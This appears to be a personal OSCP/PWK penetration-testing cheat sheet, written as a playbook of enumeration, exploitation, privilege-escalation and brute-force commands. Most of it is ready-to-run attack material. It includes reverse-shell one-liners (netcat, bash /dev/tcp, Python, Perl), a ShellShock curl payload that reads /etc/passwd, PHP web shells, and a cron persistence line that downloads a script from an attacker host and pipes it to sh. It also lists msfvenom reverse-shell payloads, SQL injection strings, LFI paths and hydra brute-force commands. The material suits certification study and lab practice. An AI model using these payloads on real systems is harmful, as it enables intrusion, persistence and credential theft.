Useful Shit

Note: I've used <targetIP> and <yourIP> in this doc for easy find/replace...

Getting Started

This guide is pretty PWK/OSCP centric, but can be used in a variety of penetration testing / red-team engagements. I'm going to be building a better organized playbook repo soon. DO NOT have any expectation of not getting caught - the below methods are VERY LOUD.

Grab the VM here: http://downloads.kali.org/pwk-kali-vm.7z

PWK Support Page: https://support.offensive-security.com/#!pwk-kali-vm.md

OSCP Exam Guide: https://support.offensive-security.com/#!oscp-exam-guide.md (READ CAREFULLY, COMPLY)

Quickie on updating fresh PWK Kali VM:

OffSec recommends against updating/upgrading your PWK VM (and don't use a 64-bit Kali -- your compiler and some other things (like linux buffer overflows) may not work well...). I tend to go against the grain, and since I've got a sysadmin background in *NIX, I went ahead. Do at your own discretion, but don't go looking for support from PWK staff.

If you have the following problem when updating:

root@kali:~# apt update && apt upgrade -y
Get:1 http://kali.mirror.globo.tech/kali kali-rolling InRelease [30.5 kB]
Err:1 http://kali.mirror.globo.tech/kali kali-rolling InRelease
  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <[email protected]>
Fetched 30.5 kB in 9s (3,094 B/s)
Reading package lists... Done
Building dependency tree       
Reading state information... Done
All packages are up to date.
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://kali.mirror.globo.tech/kali kali-rolling InRelease: The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <[email protected]>
W: Failed to fetch http://http.kali.org/kali/dists/kali-rolling/InRelease  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <[email protected]>
W: Some index files failed to download. They have been ignored, or old ones used instead.
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Copy/paste the below to update the apt key for Kali repos:

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

apt update && apt upgrade -y

09 Jan 2025 - update

Wow, lots has happened over the years. This repo is pretty stale and I wanna refresh it a bit. It's still handy, but could be handier.

Here's a new trick I learned - set up a genmon in your taskbar and set this as the command to show your VPN IP: sh -c 'ip a | awk "/tun0\$/{gsub(/\/.*/, \"\"); print \$2}"'

Enumeration, Exploitation and Post-ex/PrivEsc Process

Start With Network Enumeration.
NMAP
Unicornscan
Or, a combination of both: onetwopunch
Deeply analyze the port scan results, but don't overthink it!
Conduct detailed port attacks/enumeration:
NSE Scripts - /usr/share/nmap/scripts/ --> HTTP-Vuln, SMB-Vuln, --script smtp-commands, --script auth-owners, etc!
Webserver?
- Visit, view source, check for robots.txt
- Dig Deeper - nikto/dirb
- WordPress? wpscan, WPForce and/or WPBrute
- sqlmap may also be a viable option
- Use Burp/ZAP proxies to inspect requests/responses
- Vulnerable to ShellShock?
- LFI?
  - /etc/passwd -> insta-list of users
  - /Windows/System32/repair/{sam/system/security} .sav | .bak | .old
- HTTP PUT? Use cadaver, nmap -sV --script=http-put or try MSF exploit/windows/iis/iis_webdav_upload_asp
  - IIS trick:
    - PUT file.txt;.asp then
    - COPY or MOVE file.txt;.asp -> file.asp
- HTTPS? Check for Heartbleed (heartbleed.py), MSF auxiliary/scanner/ssl/openssl_heartbleed, or other similar vulns (CRIME, BEAST...)
  - Read the actual SSL CERT to:
    - find out potential correct vhost to GET
    - is the clock skewed
    - any names that could be usernames for bruteforce/guessing.
SMB or CIFS? nmap smb-check-vulns script, enum4linux, etc.
SNMP? onesixtyone, snmpwalk, etc.
SMTP? check for valid users with netcat/VRFY or scripts. Exim? SendMail? - Check sploits.
Some random/weird port? Use telnet or nc to it and see what output we get.
Run searchsploit or Google the service/software version of each port.
- Sometimes though, you don't have to use an exploit. You might find something useful on PayloadsAllTheThings (Reverse Shell Cheatsheet) or GTFOBins.
Try to exploit the vulnerability you found with searchsploit to gain a limited or root shell - just don't be foolish and DoS shit. It ruins your experience and others' as well.

If limited shell then use the linux or windows exploit suggesters, "searchsploit kernel x.x" and search for common weaknesses in the software.

Don't stop there! Post exploitation drills - enumerate deeper, penetrate deeper, get your privilege escalated to root/SYSTEM.
- Linux? Run linuxprivchecker.py or linenum.sh to make life a bit easier
- Windows?
- Check kernel version, search for kernel / local sploits (Windows? -> Sec-Wiki for ez-sploits)
- Check for processes running as an administrator
- scripts (especially on the desktop! ^{hint hint});
- stored credentials (think runas /savecreds);
- inter- and internal-network links (netstat THAT SHIT, (sockstat on BSD ^{hint hint}))
- stored sessions/cookies;
- anything else that'll get you deeper.
Persistence! Save yourself trouble later by persisting now.
SCREENSHOTS

Need to capture hostname local.txt / proof.txt and ipconfig/ifconfig

Enumeration

NMAP

nmap -v -sS -sV -A -T4 -p- -oA nmap-tcp <targetIP>

nmap -v -sU -A -T4 -oA nmap-udp <targetIP>

nmap -p 135-139,445 --script=smb-vuln* <targetIP>

nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1

nmap -p 80,443 --script=http-vuln* <targetIP>

nmap http put... (-sV is used for ports not in nmap's list [ie: 8585])

nmap -sV --script=http-put --script-args=http-put.url=’/meterpreter.asp’,http-put.file=’/root/meterpreter.asp’ -p 80 <targetIP>

UNICORNSCAN

TCP - Quick Scan (network): unicornscan -msf -v <targetIP>/24

TCP - All Ports: unicornscan -i tap0 -I -mT <targetIP>:a

UDP - All Ports: unicornscan -i tap0 -I -mU <targetIP>:a

Scan Switches:

SCAN TYPE	SWITCH
TCP/SYN	-mT
UDP	-mU
ACK scan	-mTsA
Fin scan	-mTsF
Null scan	-mTs
Xmas scan	-mTsFPU
Connect Scan	-msf -Iv
Full Xmas scan	-mTFSRPAU
scan ports 1-5	(-mT) host:1-5

To use another OS fingerprint use the -W switch followed by the numeric value of the OS:

OS	VALUE
Cisco (default)	0
openbsd	1
Windows XP	2
p0fsendsyn	3
FreeBSD	4
nmap	5

IP Spoofing: -s followed by the IP to spoof.

Dump scan to pcap: -w <filename>

Web directories

nikto -o nikto-http.txt -h http://<targetIP>:80
nikto -o nikto-https.txt -h https://<targetIP>:443
dirb http://<targetIP> /usr/share/wordlists/dirb/common.txt -o dirb-http.txt
dirb https://<targetIP> /usr/share/wordlists/dirb/common.txt -o dirb-https.txt
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html -t 20 -o gobuster-dirlist-2.3-medium.txt -u <targetIP>
dirb http://<targetIP> /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t -o dirb-quickhits.txt
wfuzz -w file1.txt -w file2.txt --hc 404 http://<targetIP>/dir/FUZZFUZ2Z
Wordlists:
/usr/share/wordlists/dirb/common.txt
/usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt
/usr/share/seclists/Discovery/Web_Content/common.txt
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
/usr/share/seclists/Discovery/Web-Content/quickhits.txt

-- note: you need to use -t option with dirb on the quickhits wordlist (every line begins with forward-slash [/])

ShellShock

There are many ways to handle a shellshock vulnerability, from browser extensions/plugins to python scripts to Metasploit...

User-Agent method:

Set your user-agent string in your browser or use cURL to rek:

() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://<targetIP>/cgi-bin/status

msfconsole method:

msf5 > use auxiliary/scanner/http/apache_mod_cgi_bash_env
 # set RHOSTS, TARGETURI and adjust CMD to your liking; if your scan pops positive:
msf5 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
 # set RHOSTS and TARGETURI, run or exploit and enjoy your meterpreter session!

SMB

TCP 139, 445

enum4linux -a <targetIP>
nmap -p 135-139,445 --script=smb-vuln* <targetIP>
nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 <targetIP>
smbmap -u user -p password -d workgroup -H <targetIP>
acccheck -v -t <targetIP> -u root -P /usr/share/wordlists/rockyou.txt

NFS

TCP 2049 / UDP 2049 & multiple ephemeral tcp/udp

showmount -e <targetIP>

SNMP

UDP 161

snmpwalk -c public -v1 <targetIP>
onesixtyone -o onesixtyone-communities.txt <targetIP>
snmp-check <targetIP>

SMTP

TCP 25, 110/995, 143/993

smtp-user-enum -M VRFY -U /root/userlist -t <targetIP>
smtp-user-enum -M RCPT -U /root/userlist -t <targetIP>
for user in $(cat /root/userlist); do echo VRFY $user | nc -nv -w 1 <targetIP> 25 2>/dev/null | grep ^”250″;done
ismtp -h <targetIP>:25 -e /root/userlist

Mounting Shares

SMB anon/guest

mount -t cifs "//<targetIP>/sharename/" /mnt/cifs -o username=<username>

SMB Authenticated

mount -t cifs -o user=USERNAME,sec=ntlm,dir_mode=0077 "//<targetIP>/sharename/" /mnt/cifs

SMB

smbclient -L <targetIP>

NFS

mount -t nfs <targetIP>:/share /mnt/nfs/

Poppin' Shellz:

Netcat / nc: nc -e /bin/sh 10.0.0.1 1234

Bash over TCP: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Lua: lua -e 'os.execute("nc -e /bin/sh 10.0.0.1 1234")'

BSD/NetBSD: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Post-Ex:

Proof (Linux)

hostname; cat /etc/issue; uname -a; id; ifconfig; cat /root/proof.txt; cat /etc/{passwd,shadow}

Proof (Windows)

whoami; type "C:\Users\Administrator.HOSTNAME\Desktop\proof.txt"; ipconfig; systeminfo

Persistence:

MSF: run persistence -U -i 5 -p 443 -r <yourIP> MSF will whine that this is deprecated, but it'll do it anyway
Windoze: schtasks /create /tn "pwnsauce" /tr C:\Users\Public\persist.exe /sc ONLOGON /ru "System".
Linux: echo "*/5 * * * * curl --insecure http://<yourIP>/img/pretty_pwny.png|sh" | crontab -

Tunnelling Useful Shit

sshuttle:

sshuttle -vNHr user@<targetIP> <IPrange>/24

SSH Local Port Forward:

ssh -l <user> -L 5901:127.0.0.1:5901 <IP_to_forward_from>

proxychains:

Edit /etc/proxychains.conf if necessary (default port is 9050)

proxychains <command to run>

MSF USEFUL SHIT

Multihandler

use exploit/multi/handler

set lport 4455

set lhost <yourIP>

set ExitOnSession false

exploit -j

Metasploit Scans!

TCP

db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -p- <targetIP>

UDP

db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -sU -p- <targetIP>

Import Scans

db_import /path/to/nmap.xml

Eternalblue

Not useful when scanning linux boxes, buuuuuut

use auxiliary/scanner/smb/smb_ms17_010

x86 / 64:

cd /root/

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

cp Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /root/.msf4/modules/

msfconsole > reload_all

use exploit/windows/smb/eternalblue_doublepulsar

Built-in MSF (x64 ONLY - Win7, Win Server 2008 R2)

use exploit/windows/smb/ms17_010_eternalblue

** x86 x64 - requires a named pipe**

use exploit/windows/smb/ms17_010_psexec

Client Side Exploits

use exploit/windows/browser/ms10_002_aurora
use exploit/windows/browser/ie_execcommand_uaf
Set it up, then embed an iframe or something in the client-accessible codespace like:

<iframe src="http://<yourIP>:8080/hM4zWdD3yABLd"></iframe>

https://www.offensive-security.com/metasploit-unleashed/client-side-exploits/

MSFVENOM Payloads:

Type	Command
Linux	`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<yourIP> LPORT=4455 -f elf > shell.elf`
Windows	`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<yourIP> LPORT=4455 -f exe > shell.exe`
PHP	`msfvenom -p php/meterpreter_reverse_tcp LHOST=<yourIP> LPORT=4455 -f raw > shell.php`
ASP	`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<yourIP> LPORT=4455 -f asp > shell.asp`
JSP	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<yourIP> LPORT=4455 -f raw > shell.jsp`
WAR	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<yourIP> LPORT=4455 -f war > shell.war`
Python	`msfvenom -p cmd/unix/reverse_python LHOST=<yourIP> LPORT=4455 -f raw > shell.py`

Compiling

Windoze shit

C

i686-w64-mingw32-gcc hello.c -o hello32.exe # 32-bit

x86_64-w64-mingw32-gcc hello.c -o hello64.exe # 64-bit

C++

i686-w64-mingw32-g++ hello.cc -o hello32.exe # 32-bit

x86_64-w64-mingw32-g++ hello.cc -o hello64.exe # 64-bit

*Nix shit

gcc -m32 -Wl,--hash-style=both -o

Brute Force

RDP sessions:

hydra -t 1 -V -f -l administrator -P passwordlist rdp://<targetIP>

hydra -t 1 -V -f -L /root/userlist -P /root/passwordlist rdp://<targetIP>

SSH:

hydra -f -t 4 -l <user> -P /usr/share/wordlists/rockyou.txt <targetIP> ssh

ncrack -p 22 --user <user> -P /usr/share/wordlists/rockyou.txt <targetIP>

SSH Weak Keys:

Debian OpenSSL Predictable PRNG - https://github.com/g0tmi1k/debian-ssh

crowbar -b sshkey -U userlist -k /usr/share/weak-ssh-keys/dsa/1024/ -s <targetIP>/32

Web Forms:

hydra -L <username list> -p <password list> <IP Address> <form parameters><failed login message>

hydra -L userlist -p passwordlist <target>

Miscellaneous

Runas

C:\WINDOWS\system32\runas.exe /user:administrator /savecreds cmd.exe

Pop a Bash TTY

python -c 'import pty;pty.spawn("/bin/bash")'

Shell Escapes

vi--> :!bash
vi--> :set shell=/bin/bash:shell
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
nmap --interactive !sh

Impromptu Web Servers

python -m SimpleHTTPServer 80

php -S 0.0.0.0:80 -t .

PHP Remote Code Execution:

<?php echo shell_exec($_GET['cmd']);?>

<?php print shell_exec('/bin/bash >& /dev/tcp/<attackerIP>/<nc port> 0>&1'); ?>

PHP LFI

http://<target>/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../../../../../../../../../

http://<target>/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../usr/local/www/phpmyadmin/index.php

Find all SUID binaries:

find / -perm +6000 -type f -exec ls -ld {} \;

find / -user root -perm -4000 -print 2>/dev/null

SQL Injection strings:

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--

MSSQL Server sqlmap string

sqlmap -u http://<target> --dbms="Microsoft SQL Server 2000" --data="txtLoginID=admin&txtPassword=test&cmdSubmit=Login" -p txtLoginID --method=POST

Crackin' Passwords 'n' Shit

Hashcat-ing:

Windoze:

hashcat64.exe -m 400 -a 0 -o hashcatted.txt --remove WORDPRESS_HASH e:\wordlists\rockyou.txt

hashcat64.exe -m 1000 NTLM_HASH_HERE e:\wordlists\rockyou.txt

JtR // John:

cd loot
unshadow passwd shadow > unshadow
john --wordlist=/usr/share/wordlists/rockyou.txt unshadow or

Buffer Overflow Useful Shit

PROCESS

Fuzzing: Determine length of overflow trigger w/ binary search "A"x1000
Determine exact EIP with msf-pattern_create & msf-pattern_offset
Determine badchars to make sure all of your payload is getting through
No, REALLY check EVERY character!
Develop exploit

Is the payload right at ESP? -- Find a JMP ESP! -- Sprinkle some nops (\x90)... about 16 should do.
Is the payload before ESP? -- sub ESP, 200 and then JMP ESP -- or -- call [ESP-200]

msfvenom -a x86 --platform linux | windows -p linux | windows/shell/reverse_tcp lhost=<yourIP> lport=443 -f c -o shellcode.c -e x86/shikata_ga_nai

Make sure it fits your payload length above

Gain shell, local priv esc or rooted already?

SecLists is now a Kali tool!
Install seclists to /usr/share/seclists:
apt -y install seclists

Sec-Wiki - Exploits: https://github.com/SecWiki

AusJock - PrivEsc Exploits: https://github.com/AusJock/Privilege-Escalation

git clone https://github.com/AusJock/Privilege-Escalation.git

PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings Reverse Shell Cheatsheet: [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md)

GTFOBins: https://gtfobins.github.io/

Nmap cheat sheet - https://highon.coffee/blog/nmap-cheat-sheet/

Windows Privilege Escalation Fundamentals - http://www.fuzzysecurity.com/tutorials/16.html

Basic Linux Privilege Escalation - https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Windows BOF PCMan FTP - http://netsec.ws/?p=180

Nishang : PowerShell scripts - https://github.com/samratashok/nishang

Pentest Tips and Tricks - https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/

OneTwoPunch - https://raw.githubusercontent.com/superkojiman/onetwopunch/master/onetwopunch.sh

SambaCry Sploit:

RDP Sploit: https://github.com/BlackMathIT/Esteemaudit-Metasploit

Debian OpenSSL Predictable PRNG - https://github.com/g0tmi1k/debian-ssh

Debian Predictable PRNG Brute Force SSH (Python) - https://www.exploit-db.com/exploits/5720/

Linux Priv Checker (Python) https://www.securitysift.com/download/linuxprivchecker.py

LinEnum (BASH) https://github.com/rebootuser/LinEnum

Windows PrivEsc Check https://github.com/pentestmonkey/windows-privesc-check

Brute Forcer https://github.com/intrd/nozzlr

Run/test PHP in multiple versions: https://3v4l.org

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